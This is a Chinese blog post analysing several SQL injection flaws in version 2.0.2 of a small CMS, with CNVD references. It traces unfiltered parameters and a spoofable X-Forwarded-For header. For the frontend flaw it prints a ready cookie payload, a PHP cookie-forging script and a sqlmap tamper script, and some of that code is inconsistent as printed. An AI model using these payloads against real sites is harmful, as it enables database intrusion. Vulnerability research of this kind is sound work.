sql 截取_某CMS的多处SQL注入审计分析

前言

某天挖完洞闲来无事浏览CNVD看到某CMS更新了一溜的SQL注入,似乎起了强迫症,于是准备分析学习记录一下,顺便填充一下工作内容(哈哈题外话请忽略),其实是个小众CMS,分析起来也不算难,后台的比较简单,主要看前台的。

b69f96c685348ffbd906490672836b19.png

版本:2.0.2PS:官方已跟新至了最新版本,且在最新版修复了以下漏洞。该文仅作学习和交流。

SQL注入1-后台de***.php

对应CNVD编号:CNVD-2020-12871

漏洞出现在在后台文件de***.php中,de***_add函数对GET和POST参数先进行了是否empty判断,最终将传入的几个参数传给了edit_admin_department。

3e72f4dd9a56448a6910b8f8ed535426.png

跟入edit_admin_department,对参数依次进行了处理,但是发现只有$departmentname,$olddepartmentname进行了usafestr安全过滤,漏网的$id拼接到了sql语句中执行。

95732f68f78e8c98dab0e53c28ef0549.png

最终导致了SQL注入。

69a682683730b16a8040d1e3469f45cb.png
SQL注入二-lo***.php

这原本是在后台目录下但其实也是一个不需要验证后台登录的前台注入。

对后台文件的功能点分析。在lo***.php中功能adminlogin先获取了登陆者的ip,该ip参数的传参过程为getip()->$logiparr->encode->$logipstr然后拼接到$sql语句中lastip,中间并未进行其他过滤。

46a7e598d5aaa990522b75f2192974f2.png

再来查看getip()

81ad4024cc2a53549ddd36796e6c1337.png

该函数返回获取的ip,而HTTP_X_FORWARDED_FOR为我们可控的http头部。

86ebd4f53736660a5170207299a5bf4e.png
54ef74defe60d29a6e87500639d8eccb.png
SQL注入3-roe.php

文件role.php同理对参数id没有进行过滤只进行了是否empty判断,最终在edit_admin_role中进行SQL查询。

8aabc7f3abbbccf1c82c647e245944ea.png
2e5c2b180481744496fd0800d2fef193.png

根据查询结果返回存在或not exit是一个盲注直接丢入sqlmap秒出结果。

c63b3feedb478802c40d3e6d1f699b16.png

同类问题的还有yunyecmsmodel.php等文件自行发现,直接附上结果。

4aa750f92d4fd546f31a2b58c5b765dd.png

接着我们继续来看前台的。

前台sql注入

问题出现在前台me***.php文件中,自定义表单customform中的userid从cookie中获取,截取一段数据包可以看到cookie的userid如下:

ff0103ae83969ecb1edb865abd79ab20.png

经过了加密处理,根据解密算法yunyecms_strdecode可以在corefun.php找到对应的加解密算法

0b4693ea15ab5b9bff814087d23656a2.png

因为cookie里的userid可控因此我们根据算法流程我们可以在cookie中伪造userid值。还是用刚刚以上截取的userid测试。

54f9a55cbc0cb2243a536065982199e3.png

可以看到真实的userid为9。构造一个SQL注入,生成如下payload:

c695a2f37631ee1b8a096087f5b58075.png

YmM0OWM5ZWY1ODk5ZGRkNzM0T1NjZ1lXNWtJSE5zWldWd0tEVXA4ZDdlNzk5NTliNDQyYTI1ZDE0ZWUzODZmZDI4MzY5OTM0YQ==

payload生成代码front-test.php为:

<?phpfunction yunyecms_strencode($string,$s){    return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(sha1($salt),0,35));}function yunyecms_strdecode($string,$s){    $retstr=base64_decode($string);    $SHA1salt=substr(sha1($salt),0,35);    $md5salt=substr(md5($salt),8,18);    $retstr=substr($retstr,strlen($md5salt));    $retstr=substr($retstr,0,(strlen($retstr)-strlen($SHA1salt)));    return base64_decode($retstr);}if ($_GET['cookie']) {    $string=$_GET['cookie'];    $userid=yunyecms_strdecode($string);    echo $userid;}if($_GET['userid']){    $string=$_GET['userid'];    $cookie=yunyecms_strencode($string);    echo $cookie;}

继续追溯可控的userid,可以看到userid经过步骤3->4->5传递到了pagelist函数中

30d56fc023c7f0daebae876610e8bd88.png

跟入pagelist函数,将$where拼接到了sql查询语句中$sqlcnt,然后交给了前几次SQL注入都出现的SQL查询函数GetCount中。

fe92127c3fb6f40263c94e9343bd3bee.png

详细查看下该函数,直接进行了sql查询。

4fd3ff5b77a36347c0a2bccdfa8d5206.png

附上截图

47e02b5fcf510dbde55913236127bce9.png

手工有点麻烦,又想丢入sqlmap怎么办,由于userid经过了加密和编码处理,于是根据算法流程写一个tamper就可以很好的解决了,

0890ff4b7506df9bc975288e096f6f32.png

对应tamper的的脚本为

yunyecms_front_sqli_tamp.py

#!/usr/bin/env python"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import base64import hashlibfrom lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWdef dependencies():    passdef md5(data):    hash_md5 = hashlib.md5(data)    md5data=hash_md5.hexdigest()[8:18]    return md5datadef sha1(data):    string_sha1=hashlib.sha1(data).hexdigest()[0:35]    return string_sha1def yunyecms_strencode(string):    s    return base64.b64encode(md5(salt)+base64.b64encode(string)+sha1(salt))def tamper(payload, **kwargs):    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """    return yunyecms_strencode(payload) if payload else payload

搞定完事~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值